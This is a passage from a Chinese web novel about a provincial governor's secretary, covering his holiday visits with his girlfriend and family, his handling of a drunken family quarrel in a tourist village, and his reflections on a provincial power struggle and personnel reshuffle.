对于这种说法,李承稍微有些心动。 他一直在为买房子的事情犯愁,为了方便许梦上班,他看的几个楼盘都在省电台附近。 许梦相中的楼房,的确属于花海集团旗下。 买房子是大事,就算打个九五折,也能省下大几万块钱。 除了省钱之外,李承还有其他方面的打算。 收下一张公司搞活动的会员卡,对于李承的工作并不会有太大影响。 还可以接着这个机会,缓和一下与李美娇的关系。 经过这段日子对花海集团的了解,他们背景雄厚,就连孟良德也没有把握能够在这场政治斗争中取胜。 万一孟良德的政治斗争失败,只要跟花海集团闹得不太僵,也不会成为失败的牺牲品。 各种各样的想法在李承脑海中跳跃。 “李总,我还没考虑还到底是买新房还是买二手房呢,这个会员卡,我或许用不上。” 李承想了想,最终还是选择了婉拒。 虽说,这张会员卡并不会对他的仕途安全有影响。 但这件事如果传到了孟良德的耳朵里,以孟良德警惕的性格,怕是会对自己起疑心。 “李处长....” “承哥。” 正当李美娇准备继续劝说时,许梦下了班,从远处朝着这边走了过来。 李承对许梦招了招手后,目光转向李美娇。 “李总,很感谢你能百忙之中特意来找我,这份心意比这张会员卡的价值更高。” 李承对李美娇微微一笑,表达自己的感谢。 以对方的身份,能够亲自过来给自己送东西,绝对是给足了面子。 不管对方出于什么目的,该说的客套话,还是要表达到位。 “嗯,那好吧,我也就不勉强了,如果李处长后续考虑我们花海集团旗下的楼盘话,欢迎随时可我给电话。”李美娇温柔一笑,说。 “一定。” “这位是花海集团的李总吧?” 许梦走到两人身边,她上下打量了一眼李美娇后,说。 “你好许小姐,我可是你节目的忠实粉丝。”李美娇主动与许梦握手,笑容亲切地说。 “你好,李总。” 许梦跟她握了握手,笑着回应。 “我可以加你一个微信吗?以后我们花海集团有什么新闻报道,还想麻烦一下许小姐。” 李美娇说着,主动拿出手机。 在她眼里,未来许梦是她与李承建立关系的一大突破口。 “好。” 李美娇如此主动,许梦也不好拒绝,两个人加上微信。 第142章 许梦的担忧 李美娇没有继续打扰,加上许梦微信后,便告辞离开。 “李美娇找你什么事?” 坐在副驾驶,许梦严肃地问。 “你以前从来不问这些事,怎么?怕我跟她跑了呀?”李承开着车,玩笑地问道。 许梦是一个懂分寸的姑娘,一般情况下,他是从来不过分李承工作有关的人和事情。 今天又一反常态。 “嗯,担心。”许梦点头。 “她都那么一把年纪了,我还能放弃这么漂亮的媳妇儿,去找她呀?那我得多傻。”李承玩笑地说。 “她就是不一样,我担心你跟她接触。”许梦嘟起小嘴,不高兴地说。 李美娇的名声,她这位电台主持人也是有所耳闻的,这让许梦对李美娇接近李承是有所防备的。 当然,她不担心李美娇去诱惑李承。 李美娇虽然徐娘半老,风韵犹存,可年纪却大,而且还跟那么多领导有过绯闻,就算李美娇有意,她知道李承也不会心动。 她担心的,是传闻中花海集团那恐怖的公关能力。 据说,只要走进花海集团的天湖庄园,没有一个正常男人可以抵御住那里的公关。 她怕李承跟李美娇有太多联系,沉沦在天湖庄园的公关之下。 “她是要给我送礼,说送我们一张会员卡,以后去花海集团买房子能打折。” 李承见许梦如此认真,也就不逗她了。 “那你收了吗?”许梦问。 “你希望我收吗?”李承反问。 “希望也不希望。”许梦想了想,低声说。 “为什么这么讲?”李承问。 “希望,是因为这样我们可以节省一大笔的钱,不希望是怕影响你的仕途,也怕你跟他们牵扯太深。” 许梦说出自己的真心话。 “我没收。”李承道。 “嗯,那就好。”许梦点头。 开着许梦的高尔夫,两个人一同返回了封兰市。 许梦还没有过门,当然不会在李承的家里过年,她这次只在封兰待三天。 去探望一下李承的父母,再去雪村游玩一趟然后也要回家过年。 回到封兰已经是凌晨一点多了。 李承没有回家,而是开了一个酒店,和许梦住下。 一来,他不想打扰家人的休息。 二来,他也想珍惜和许梦的单独时光。 这次分别,再见面就要年后了。 ..... 两人折腾了一夜,第二天醒来已经接近中午十一点。 家里的亲戚在知道李承要回来后,争先恐后地想要请李承吃饭,但都被李承拒绝了。 拒绝他们的请客吃饭,但亲戚还是要来往的。 所以,李广义和董丽夫妇特意在家里准备了一大桌子菜,将亲戚都叫了过来。 一方面,是维护亲情。 另一方面,他们的儿子有了出息,也想要炫耀一番。 “爸,妈,我们回来了。” 打开家门,屋内热闹非凡。 听到李承的声音,亲戚都迎到了门口,七嘴八舌地招呼道:“李承回来了,拿这么多东西回来,这孩子真孝顺。” “快进屋。” 有的帮忙接东西,有的帮忙递拖鞋,每个人的脸上都洋溢着热切的笑。 他们的热情甚至给了李承一种错觉,仿佛他不是回家,而是走亲戚做客。 “哥,嫂子,你们开了这么久的车累坏了吧,吃点水果。” 待到李承和许梦坐在沙发上,堂弟李华端着一旁水果放在两人面前,笑容谄媚。 他的态度与上次见面,有了天差地别的改变。 不再那么傲慢,恭恭敬敬地像个小丫鬟,甚至连屁股都不敢坐在沙发上,站在一旁,好似随时待命。 这就是权力的魅力。 上一次,李华不知道李承是省长的专职秘书。 尽管他知道李承的职位不低于他,但人远在汉江。 他觉得,在封兰李承家里遇到什么事情,还需要求他帮忙,他才敢那么狂傲。 可在清楚李承的真实身份后,他迫切地想要巴结。 只要巴结上李承,凭借两个人的亲戚关系,只要李承一句说,他的职位就能再进一步。 “小承,这些水果都是李华买的,都是进口的好水果,你快尝尝。”二婶替他儿子讲话,想让李承念及这份水果情,缓和一下之前的矛盾。 “旁边有凳子,坐吧。” 李承瞟了一眼李华,淡淡地说。 “好。” 等到李承的许可,李华这才敢坐下来,笑盈盈地道:“水果我都洗了很多遍,哥,你俩尝尝。” “嗯。” 李承点了点头,拿起几颗车厘子递给许梦。 许梦接过水果,细嚼慢咽地吃了起来。 “嫂子,你在这边过年吗?”李华找了个话题,主动攀谈起来。 “不在,两天后的机票。”许梦微笑回道。 “你们什么时候结婚呀?到时候我一定到场,给你和我哥随个大红包,哈哈哈。”李华讨好地问。 “这个要听承哥的安排。”许梦温柔地看向李承,说。 “是呀李承,你也年纪不小了,准备什么时候结婚?” “抓紧结婚,我们还等着抱孙子呢。” 几个姑姑婶子也跟着起哄,询问起李承。 小姑直接看向李广义,玩笑地问:“哥,遇到这么好的儿媳妇,你再不给张罗结婚,别到时候人家跑啦,哈哈哈。” 大姑也在一旁帮腔:“是呀,许梦这姑娘多好,以前呐,我都怕我大侄子这个年纪,找不到对象呢,呵呵。” “年轻人的事情我不掺和,只要他们决定了,我们老两口随时支持。”李广义说。 而李承听到他们准备议论自己的婚事,连忙起身去了厨房,帮董丽忙活。 他这几年,是被这群亲戚唠叨怕了。 都是农村出来的,这些长辈们还保留着早结婚的理念。 在他们看来,超过二十五岁不结婚,就已经是大龄剩男了,根本不好找对象。 所以每逢过年,李承都要被到不厌其烦。 本以为今年带许梦回来,他们能不再说这件事,没想到还是躲不过。 “你怎么自己跑厨房来了?”许梦也匆匆跟了上来,低声抱怨。 “我不走,他们就该说起来没完。”李承解释道。 “那你带上我呀。” 第143章 哇哈哈 在家里待了一天。 第二天李承和许梦驱车赶往了雪村。 赵伟婷在他们到来之前,已经全部安排好了。 作为本村人,村里每年会给村民发放很多张免费的门票,用来招待亲朋好友。 但这次,李承坐的不是省里公车。 他的车,只能停在村外的停车场内,按照规定不能进村。 “李承,许梦。” 村门口,赵伟婷已经等待在那里,冲着两个人招手。 “这是许梦给你带的见面礼。” 李承将礼物送到赵伟婷的手里,说。 这是一套化妆品,来之前许梦特意给赵伟婷准备的。 对方在视频里答应等李承和许梦去雪村,会好好招待,至少门票和住宿不用花钱。 而在雪村,最贵的就是住宿。 接纳别人好意的同时,自然也要有所诚意。 友情不是一方占便宜,要礼尚往来。 “我还有礼物呢,谢谢。” 赵伟婷接过礼物,满脸笑容地挽住许梦的胳膊。 那架势,仿佛两个人是老相识,而不是第一次见面。 “走,许梦,我带你坐坐我的专属女神座驾,也是我们雪村的特色。” 赵伟婷望着许梦,将两张门票递给检票员,对方放了行,还笑着跟赵伟婷叮嘱:“伟婷,你让你那俩笨蛋注意点,别摔了。” “知道了,叔。” 赵伟婷摆了摆手,答应道。 “什么座驾呀?” 许梦满脸好奇地问。 李承则跟着二人身后,拿着行李,像个跟班。 “当当当当...这就是我的女神座驾,娃哈哈。” 赵伟婷双手指向不远处的空地,兴致勃勃地介绍道。 “哇,好可爱呀。” 许梦看到这个座驾时,开心地笑了起来。 这是一个双人雪橇,负责拉雪橇的,就是大名鼎鼎的雪橇三傻中大傻哈士奇,而且是两条哈奇士。 此时,这两条哈士奇正蹲在地上,伸着舌头,那单纯的大眼睛瞪得溜溜圆。 “他们咬人吗?我可以摸摸吗?”许梦跃跃欲试。 “不咬人,可以摸,很乖的。” 赵伟婷挽着许梦来到两条哈士奇面前,介绍道:“这只叫哇哇,这只叫哈哈,他们的组合叫哇哈哈。” “你这么起名,不怕被要版权吗?”李承调侃一句。 “无聊。” 赵伟婷白了李承一眼,没接他的梗。 “好可爱的两只狗狗。” 许梦摸了摸两只哈士奇,它俩则活泼地跳了起来。 “走吧,上车。”赵伟婷对许梦说。 “他们两个看着不太聪明,不会翻车吧?”李承担忧地问。 “不能,他们可聪明了。” 赵伟婷说着,拉许梦上了雪橇。 “我呢?” 李承看着已经坐满的位置,无奈地问。 “你步行呀,你又不是不知道路。” 赵伟婷摊了摊手,对两只哈士奇下达命令:“哇哈哈,回家。” 得到命令,两条狗朝着酒馆的方向狂奔起来。 听着许梦的欢呼声越来越远,李承拖着行李,无奈地迈动脚步,跟了上去。 一整天。 赵伟婷带着许梦和李承,游玩了整个雪村。 三个人都很开心,一切的烦恼都被抛在脑后,这是李承久违的放松。 晚上,赵伟婷将李承和许梦二人领回了家。 家里,赵伟婷的妈妈已经做了一桌子丰盛的菜肴。 特意还炖了雪蛤,用来招待李承二人。 这顿饭只有他们四个人,赵伟婷的爸爸和老公晚上参加聚餐,不回来。 “谢谢阿姨准备了这么丰盛的晚餐,我以茶代酒,敬您一杯。”李承双手举杯,对赵伟婷的妈妈表达感谢。 “你们都是伟婷最好的朋友,不用这么客气。”阿姨笑呵呵地说。 ‘咯吱’ 正在几个人其乐融融的吃饭时,房屋门打开了。 一个醉醺醺的男人走了进来。 “这才几点,你怎么就喝这么多?” 看到男人醉醺醺的样子,赵伟婷连忙起身,走上前。 “我没喝多,今天跟几个领导吃饭,高兴。”男人满脸醉意地说。 男人叫王真,是赵伟婷的老公,李承在赵伟婷的朋友圈里见过。 “媳妇儿,这就是说的老同桌呀?” 王真看向李承,对赵伟婷问。 “对。”赵伟婷点头。 “我听我媳妇儿提起过你,来,我跟你喝一杯。”男人目光环视桌子,发现没有酒,便要去拿。 “李承他不喝酒,你喝多了,就回去休息吧。”赵伟婷说。 “哎,男人还有不喝酒的呀。” 王真打开赵伟婷的手,走到酒柜上拿出一瓶茅台,走到李承面前。 他边走边开,当做到李承身边时,酒已经被他打开了。 “兄弟,你来做客我欢迎,这杯酒,你给我面子不?”王真又取了两个空杯,坐到李承的身边。 他伸手搭在李承肩膀上,一边倒酒一边问。 “王真,你别闹了。”赵伟婷拉了拉王真,说。 “我没有闹。” 王真甩开赵伟婷,目光看向李承:“我知道你,省长的秘书,我应该叫你一声李秘书对吧,我敬你。” 看着对方的状态,李承总感觉对方是带着气回来的。 但对方是赵伟婷的丈夫,看在赵伟婷的面子上,李承也要赏脸陪他喝一杯。 “来。” 李承端起酒杯,跟他碰了一下,抿了一口酒。 可对方却直接将杯中白酒一口喝光。 喝光后,还空了空杯子,目光看向李承:“李秘书,你怎么就喝这一小口呀,不给我面子呀?” “王真,你今天抽什么疯?” 看着自己老公有些强人所难的意思,赵伟婷也火了。 “我怎么抽风了,你瞧不起我,你爸也瞧不起我,你来朋友了,怎么,你朋友也瞧不起我呀。” 王真怒气冲冲吼道。 这次李承更加确定,王真就是带着火气回来的,而且他已经喝醉了。 而且,李承总觉得他似乎受了什么委屈,在发火时,眼神隐约中带着泪光。 “消消气兄弟,这杯酒我陪你,没有人瞧不起你。” 李承拍了拍他的肩膀,表示安慰。 说着,他直接端起酒杯,将杯中白酒一饮而尽,并拿起烟盒,递了一根香烟给他:“好啦,有什么不愉快就让他过去,抽根烟。” 第144章 男人的面子 “谢谢。” 王真接过李承的香烟,说了声谢,并主动拿出火机帮李承点燃。 都是男人,李承很能理解王真。 从他进门后的行为举止来看,他并非是故意找李承的茬。 他明知道李承的身份,还要抢拉着李承跟他喝酒,甚至是逼迫干杯,无非就是想找一些存在感,想要一些面子,维护他男人的可怜尊严。 这种行为,以及刚才他说的话,李承大概推测,刚刚他的酒局里并不愉快,应该是受到了什么委屈。 这些委屈,应该积攒已久。 “你还能喝吗?能喝咱哥俩就再喝点。”李承问他。 “能喝。”王真吸了一口烟,点头。 “这回咱们慢慢喝,我可跟你干不了杯了。”李承拿起酒瓶,准备给他倒酒。 “李秘书,我给你倒。” 李承给了他足够的面子,他的情绪也缓和了不少,主动去抢酒瓶,想给李承倒酒。 “什么李秘书,坐到这里,大家就是朋友。”李承给他倒满一杯酒,又给自己倒上一杯。 李承不是那种喜欢摆官架子的人。 到了这里,以朋友的身份来玩,来相处,那么就要把工作身份抛在外。 “你少喝点吧,都喝这么多了。” 赵伟婷坐在王真的身旁,用胳膊怼了怼他,劝道。 “我没喝多,心里有数,只是跟那群人话不投机半句多。”王真拿起筷子,吃了一口菜。 “你也少喝点,一会儿还要看烟花呢。” 身边,许梦也跟着低声劝说,她担心李承喝醉了,不能继续晚上的娱乐活动。 她们就在雪村待一宿,自然想珍惜这一晚的时间。 “喝不多,没关系。” 他们喝酒用的杯,是一两杯。 李承的酒量,喝一斤左右没什么问题,两杯酒对李承来说,根本不算什么。 “李哥,我敬你一杯,刚才是我态度不好,别我跟计较。”王真举起酒杯,敬李承。 “没事。” 李承跟他碰了一下,抿了一小口。 ‘砰’ 正当气氛缓和下来,几个人继续吃饭时,房门被暴力推开。 一个五十岁左右,一身户外名牌的男人走了进来,气势汹汹。 “王真呢!” 他进门之后,就大喊起来。 “爸,怎么了?” 赵伟婷看到父亲愤慨的模样,起身询问。 赵贵没有理会赵伟婷,目光环视了一圈餐桌上的人,最后目光落在王真身上:“你个畜生东西,吃我家的喝我家的,还他妈的砸老子场子是吧? 看老子今天不打死你!” 赵贵怒骂着,随手抄起一个板凳朝着王真走去。 这时李承也明白了,怪不得王真说谁都瞧不起他,不给他面子,原来他在这个家,属于上门女婿。 “我不想砸你场子,但我也是人啊,你们那么说,考虑过我的感受吗?你拿我当你女婿了吗?” 王真站起身,梗着脖子,很不服气。 “还敢顶嘴是吧,你也不想想你怎么有的今天!” 赵贵冲到王真面前,抬起板凳就要打。 “爸,你这是干什么呀!” 赵伟婷挡在王真面前,伸手抓住板凳腿。 “一边去,当初老子不让你嫁这个窝囊废,你非不听,今天老子的脸让他给丢尽了!” 赵贵仍有动手的架势。 “你站远一点。” 李承低声跟许梦嘱咐一声,他怕万一真动起手来,波及到许梦。 交代后,李承也站起身,去拉赵贵:“叔,有什么事情好好说,别动手。” “这是我们家的事,跟你这个外人没关系。”赵贵瞪了李承一眼,不肯罢休。 “爸,我朋友还在这呢,你不嫌丢人,我还嫌丢人呢,有什么话就不能好好说吗?”赵伟婷急了。 听到这话,赵贵又看了看李承和许梦,这才松开手。 他气呼呼地坐在一旁空位上,手指着王真:“你知不知道今天是什么场合,妈了个巴子的,老子上赶着巴结的人,你就这么不给面子是吧? 现在省里对于雪村管制这么严,人家随便找个借口都能让咱家生意关门整顿。 我家养着你,养出了个仇人是不是,想给我生意都整黄?” 提起此事,赵贵就气不打一处来。 “爸,到底怎么回事?”赵伟婷问。 “人家刘局长让他打一圈酒,他酒后失言说的话很难听,你王叔就训了他几句,结果他就翻脸了。” 赵贵大致将情况说了一下后,点燃一根香烟,伸手指着王真:“给你两个选择,要么跟我去陪酒道歉,要么你跟我姑娘离婚!” “你跟爸去道个歉吧。” 听到王真得罪了县里的领导,赵伟婷出言劝道。 那些人,他们得罪不起。 尤其是省里三令五申,强调雪村的营销环境,这个时候如果县领导发难,随便找个借口,就能以响应省里政策而让他们歇业。 临近过年,这几天的生意最火爆,也是最赚钱的时候。 这个时候关门,损失惨重。 “行,我去道歉。” 王真沉默了几秒,他虽然很委屈,觉得是对方咄咄逼人,他反驳也并不觉得自己做错了什么。 但考虑家里的生意,选择了妥协。 “走!” 赵贵叼着香烟,转身出了门,王真也跟了上去。 “让你们看笑话了。” 他们走后,赵伟婷尴尬地挤出一抹笑。 “没事。” 李承摆了摆手,坐回位置上。 “伟婷,王真他喝多了,你也跟着去看看吧。”赵伟婷的母亲劝道。 闻言,赵伟婷也陷入了纠结,她将目光看向李承。 意思是想李承陪同。 李承毕竟是省长的秘书,如果他出面,那些人会给面子,这件事说不定会因祸得福。 李承的本意是不想去。 倒不是他不愿意帮忙,毕竟自己身份特殊,他想要避嫌。 “承哥,你能陪我去吗?”赵伟婷开口问。 “好。” 赵伟婷已经开口了,人家今天尽地主之谊,热情款待了自己,总是不好拒绝的。 而且,这件事是突发事件,她的热情并没有带着目的。 跟着赵伟婷的步伐,三人赶往了那所小别墅。 这个别墅李承来过,当初陪同孟良德来雪村考察工作,就住在这里。 是雪村专门用于招待贵宾领导的场所。 第145章 借势 “刘局长,您消消气,我回去已经严肃骂过他了,他喝多了,年纪小,您别跟他计较。” 进入别墅,走到餐厅门口,里面传来赵贵讨好的声音。 这与刚才在家里大发雷霆的他,有天差地别的改变。 “王真,你赶紧敬三杯酒,给刘局长赔不是。” 没有得到刘局长的回应,赵贵连忙催促王真去敬酒赔罪。 “刘局长,我敬您,刚才是我不对,您大人不记小人,别往心里去。”王真低声下气地说。 房间内,依旧没有回应。 王真一连喝了三杯白酒后,对方才不咸不淡地说了一句:“你离我远一点,别待会吐我身上。” 这句话,态度很明显,就是不原谅。 “刘局长,我敬您,这几天您和家人就在雪村好好玩几天,我....” 赵贵见对方不肯原谅,也立马端起杯,去敬酒。 他的话还没说完,赵伟婷准备敲门。 但李承直接推开了门,贸然走了进去。 他们三人打断了赵贵的敬酒,赵贵回过头,看到是女儿和朋友过来,表情从谄媚变成严肃:“伟婷,你怎么不敲门就进来,一点礼貌没有!” “是我推门进来的。” 李承迈前两步,淡淡地说。 赵伟婷知道自己父亲是什么德行,会趋炎附势,所以并没有把李承的身份告诉给赵贵。 他怕赵贵特意安排,还会叫上一些领导,打扰李承和许梦的休假。 所以,在即便知道是李承推门闯进来时,赵贵的表情也没有半点好转,反而更加愤怒。 只不过,碍于与李承不熟悉,他也不能说什么。 “王真,咱哥们的酒还没喝尽兴呢,你怎么跑这来了?”李承笑呵呵地看向王真,明知故问。 王真站在原地,看到李承的那一刻,眼睛泛红。 他在这个酒桌上受了委屈,知道有人来给他撑腰了,如获救星。 “伟婷,你太不懂事了,怎么还带着朋友来捣乱,赶紧走!”赵贵不能训斥李承,只能将矛头转向赵伟婷。 而那位坐在主位上的刘局长,则是全程冷着脸。 李承没有见过这位刘局长,孟省长来视察时,他不在县里陪同人员中。 但王德利的表情却与刘局长截然不同。 最开始,他是冷漠,愤慨,随着他目光落在李承脸上时,变成了疑惑,到最后是惊讶。 他认出了李承。 “哎呀,是李秘书呀。” 王德利的惊讶声打断了短暂的死寂气氛,他连忙站起身,以最快速度来到李承面前。 他今天也喝了不少酒,酒精上头,外加过于慌乱,导致他在奔向李承时还险些摔了一跤,好在扶住了旁边人的椅子。 “李秘书,您到雪村视察工作怎么也没提前跟我们村里打个招呼,孟省长没来吗?” 王德利伸出双手,跟李承手握。 当他说出孟省长三个字后,餐厅内肃然起敬,刘局长等人也匆忙站起了身。 “省长回京城了,我是放年假带女朋友过来玩的。”李承伸出一只手,跟他握了握,说。 “是这样呀,那个...李秘书,您多在我们雪村玩几天,明天我安排。”王德利讨好地说。 “不用,明天我们就回去了,不给村里添麻烦。”李承抽回手,拒绝道。 “李秘书您好,我是横河县工商局的局长,我姓刘,刘保权。”刘局长也连忙赶了过来,主动跟李承握手。 他也不傻,王德利说出孟省长,又喊李承为秘书,他便知道面前这位年轻人的身份。 对于刘局长的握手,李承并没有第一时间回应。 他故意将目光移开,看向王真:“王真,我刚才问你话呢,喝不喝了,不喝我可带女朋友准备去看烟花秀了。” “李哥,我随时奉陪。”王真抹了一把眼泪,说。 得到王真的回应后,李承这才将目光看向刘局长:“哎,你刚才是不是跟我说话了?” “是呀李秘书,我是横河工商局的局长,上次孟省长来雪村视察,我没能到场跟李秘书结识是我的遗憾,还好,缘分让我们在这里认识了。” 刘局长伸出的手,一直悬在半空,不敢收回。 “哦,你好。” 李承随口应了一声,跟他握了一下,便收回了手。 一个县工商局的局长,李承从任何角度,都不拿他放在眼里。 抛出省长秘书的身份不谈,李承还是一位副处级干部。 而刘保权这个县工商局局长,只不过是正科。 “伟婷,叫着你的老同学一起坐下来吃饭吧,外面那么冷,就别往回折腾了。” 这时,赵贵也开口,让赵伟婷把李承留下来。 实际上,他这句话的真正含义不是留李承吃饭,他也知道,李承不会在这里吃。 他的目的是告诉刘局长等人,他们高攀不起的省长秘书,是他女儿的老同学,以此来借势。 “我们不在这里吃了,阿姨还等着呢。”李承拒绝道。 “嗯,那行,你们先回去吧。”赵贵道。 他很会借坡下驴,借着李承的身份,他可以顺理成章地让王真离开,不用继续留下来给刘局长道歉,以免再生错。 而刘局长在得知省长秘书是他女儿的同学时,刚才的矛盾也会既往不咎,反倒能与他有更紧密的关系发展。 在赵贵看来,今晚这场闹剧让他因祸得福。 在刘局长等人的相送下,李承一行人出了招待别墅。 “你吃饱了吗?” 回去的路上,李承问许梦。 “吃饱了。”许梦点头。 “赵伟婷,你们俩回去吧,王真他也喝多了,我和许梦去看烟花秀,你就不用陪我们俩了。 帮我也跟阿姨说一声,感谢她今晚的丰盛饭菜。”李承说。 “嗯,那好。” 赵伟婷点了点头,几人就此分开。 牵着许梦的手,两个人漫步在这优美的雪村中。 没走多久,天空中绽放出绚丽的烟花。 “哇,好美呀。” 许梦仰起头,满眼喜悦地看着天空。 “是呀。” “快许愿。” 许梦激动地说着,双手合十,闭上了眼睛。 “看烟花为什么要许愿呀,你许的什么愿?”李承好奇地问。 许过愿后,她缓缓睁开眼睛,在李承的唇上吻了一下:“不告诉你...” 第146章 揭开棋局 年假转瞬即逝。 一场政治斗争的反击战,也悄然打响。 第一天上班的下午,李承陪同孟良德去省委开了一场常委会议。 这场会议,在逐步改写东江省现有的政治格局。 这场会议一直从下午两点,开到了下午五点,一共开了三个小时。 在这三个小时里,省委书记马洪波先是传达了学习核心精神,领导人的重要讲话,指示精神等。 随后部署了重点工作,一季度目标任务,经济发展,乡村振兴等。 并强调强化党建与作风的建设。 在会议的最后,才到了整场会议的关键,人事任命问题。 关于人事任命,省委书记马洪波和省长孟良德在年前的一次单独会面时,就已经达成了协议。 两人占据了省委的绝大多数投票权,虽有反对的声音,但总体是顺利的。 会议结束。 李承随同孟良德赶回了省政府。 李承并没有会议的旁听权力,对此,他并不知情。 但从孟良德眼眸深处的满意之色,李承知道,这场常委会议,孟良德取得了自己想要的成果。 车上,孟良德一言不发。 回到省长办公室后,李承给孟良德的水杯里蓄满水后,孟良德冲李承说:“李秘书,你去将兆华同志叫过来。” “好。” 李承点头,去办公厅通知杨兆华。 五分钟后,李承和杨兆华一同回到省长办公室。 “坐。” 孟良德点燃了一根香烟,对两人的方向招了招手:“李秘书,你也坐。” 杨兆华坐在孟良德的对面,李承得到孟良德的许可,坐在两个人的侧边。 “这次常委会议很成功,容城市委书记李宽进行了调任,将他调任到省委政策研究室主任,他的位置由省委办公厅的副秘书长陆满堂接替。 公安厅的常百利,调任到政法委做常务副书记,宫庆鑫同志接替公安厅长的位置。” 孟良德将这次常委会议的主要人事任命,告知给了两人。 方便两人日后开展工作。 听到这个结果,李承心里同样是高兴的。 这个结果,预示着孟良德的政治地位得到巩固,他们省长派系在这场政治斗争中,又离胜利近了一步。 在高兴的同时,李承也为孟良德的老谋深算,感到深深的敬佩。 “这是好事呀。” 杨兆华同样点燃了一根香烟,微笑附和。 “嗯,我准备对锦绣置业,以及李秘书被绑架的幕后团伙进行重新调查,老杨,你有什么看法吗?” 孟良德弹了弹烟灰,问杨兆华。 之前,孟良德将这些事搁置,是因为公安厅厅长不是自己人,他担心常百利从中作梗。 而今,公安厅厅长一职,已经换到了自己人手中,调查阻碍会下降很多。 在孟良德问话时,李承也将目光看向了杨兆华。 心情有一抹忐忑。 因为李承知道,杨兆华跟花海集团走动密切,他担心这些消息从杨兆华那里走漏出去。 从而让花海集团提前做足准备。 “我觉得眼下还不是最好的时机,庆鑫同志虽是公安部门出身,但市局和省厅的工作还是有区分的。 眼下应该给他一段时间,让他熟悉工作,整顿团队。” 杨兆华吸了一口烟,说。 宫庆鑫是副省级城市的公安局厅长,兼任副市长,正厅级干部,又在公安系统有多年的工作经验,属于合规调任到公安厅厅长一职。 当初常百利就是一个低配的公安厅厅长,并未兼任副省长一职,没进常委,没提副部。 宫庆鑫也未进常委,属于是平调提拔。 但公安厅和公安局负责的工作有很多不同,并且,公安厅内部还有很多常百利的人,让他先整顿团队和熟悉工作,属于是正常建议。 可这种建议,由杨兆华口中说出来,从给李承一种故意拖延时间的错觉。 人,一旦产生了疑心,就会处处生疑。 但李承只是一个秘书,他并没有插嘴干涉的权力,除非孟良德问到他。 “嗯,那件事就再放一放。” 孟良德熄灭了香烟,最终选择听从了杨兆华的建议。 接下来,孟良德又针对这次常委会议,对杨兆华进行了一些工作部署后,也到了下班时间。 李承给孟良德送回迎宾馆后,也回了家。 坐在客厅的沙发上,李承点燃了一根香烟,开始复盘。 想要更快的学习和融入到政治斗争中,就要对省长的一言一行进行复盘,从而学习。 随着他将全部事件在脑袋中过了一遍,他越发地佩服起孟良德。 直到这一局的斗争落下帷幕,答案公布后,他才渐渐领悟到在这次斗争里,孟良德的精心布局。 从上次去各市考察,就是这场斗争的棋局一步。 李承隐约觉得,包括他在电话里故意敷衍石山水的困境,拖到考察工作时解决,以及他安排省委的人跟踪调查此事,都是孟良德早就计算好的步骤。 目的,就是当着考察团队的面,对李宽进行严厉打压,将他的错误公之于众。 而李宽的问题,是孟良德的政治筹码。 从李宽的态度,可以确定,这个人并不属于省委派系。 作为东江省第二大城市的一把手,李宽的政治立场不在马洪波那里,这绝不是马洪波想要看到的结果。 想必,马洪波也早就想换掉李宽,将容城市委书记一职换成自己人。 所以,孟良德充当了那把剑。 他借着考察的机会,和石山水的交情,开展了对李宽的问题调查。 虽说,李宽对自己的保护很周到,目前为止并未查到确切证据,但恺奥医疗的问题,也给了省委针对他的由头。 借着这个过错,马洪波和孟良德将他由容城市委书记调到了省委政策研究室当主任。 虽同为正厅级干部,但从权力上讲,李宽已经被边缘化,排挤到了二线,正厅沦为虚职。 而容城市委书记一职,由省委副秘书长接替,那是妥妥的马洪波自己人。 孟良德帮马洪波派系拿下容城市委书记的要职,作为报酬,马洪波帮助孟良德掌控省公安厅。 完成了政治交换。 第147章 百万年薪 躺在沙发上。 许梦主持的《晚间新闻》已经结束,电视机里播放着抗战神剧。 李承没什么心情看,脑袋里一直盘算着这场政治斗争,推测着接下来是什么走向,以及杨兆华的状况。 杨兆华与花海集团若是真有勾结,自己要不要暗示孟良德呢? 不说,李承还能跟杨兆华保持良好的关系,万一孟良德政治斗争失败,自己还有条出路。 可是那样的话,孟良德身边最信任的人被安插成了钉子,会大大增加他斗争失败的概率,甚至在关键时刻左右大局。 说了,李承和杨兆华的关系彻底疏远,老领导的情分烟消云散,这种疏远以后是无法挽回的。 他很纠结,也很苦恼。 ‘咚。’ 这时,房门传来声响。 李承闻声看去,许梦正在冲他笑:“你什么时候喜欢看抗战神剧了?” “你节目结束后,我一直没换台。” 李承从沙发上站了起来,走向许梦:“你今天怎么回来了?也没打招呼。” 正常情况,今天许梦是要在省电视台员工宿舍住的。 李承对她突然回家,并不知情。 “想你了呗,怎么了?不方便?家里藏人了?”许梦笑眯眯地调侃道。 “嗯,藏了个大美女。”李承笑着附和。 “那我可要好好找找,看是谁这么大的胆子,敢勾引我老公。”许梦推门走进卧室,环视一圈。 “想你了。” 这时,李承从身后抱住了她。 “你在给她拖延逃跑的时间吗?” 许梦转过身,扑进李承的怀里,调皮地说。 “你找不到的,她会从地缝里溜走。”李承吻了一下许梦的唇,说。 “那我不要你了,你出轨了蟑螂精。” 许梦玩笑一句,走到茶几旁,端起李承的水杯喝了一口:“刚才李美娇找我了。” “她找你什么事?” 闻言,李承眉头一皱。 今天常委会议的人事任命问题刚结束,她就找到了许梦。 其中定有目的。 “她们公司正在布局传媒和电商板块,想把我签到她们公司,年薪百万呢,还有带货提成,而且还不耽误我在电视台的工作。” 许梦把李美娇找到她的来意,告诉给了李承。 “你怎么想的?”李承问。 “我觉得她的想法不错,一年就够我们在汉江买套大房子了。”许梦心动的说。 面对百万年薪的诱惑,换做任何一个普通人,又有谁会不心动呢? “你想跟她签吗?”李承再次询问。 “嗯....有点想。” 许梦看着李承平静的脸色,迟疑两秒,说出自己心中想法。 有了这份兼职,她和李承的生活负担可以减轻很多。 现在他们虽然赚得不少,可若是结婚生孩子,又要还房贷,又要养孩子,光靠工资的话,生活会变得拮据。 每个人都想要更好的生活条件,无一例外。 “如果我不同意呢?”李承说。 李美娇找到许梦,这是醉翁之意不在酒。 省长派系拿下公安厅长的职位,这对李美娇来说,是危机。 虽说常百利调任成了政法委的副书记,手里也有实权,可对公安部门的掌控力度却减少了很多。 公安厅是一把利剑,这把利剑转接到了孟良德的手里,对此,李美娇肯定不会善罢甘休。 李承推测,宫庆鑫应该也遭遇着和自己相同的处境。 “宝宝,我觉得你可能太多疑了,说不定李美娇是看中我的影响力,想借助我的流量,开脱新市场呢。”许梦坐在李承旁边,拉了拉他的胳膊,说。 “你要是这么认为,就自己决定吧。”李承沉默几秒后,淡淡地说。 他跟许梦目前只是男女朋友关系,没权利干涉别人的选择。 李承也理解许梦,面对百万年薪,谁又会不心动? 可李承也很清楚一点。 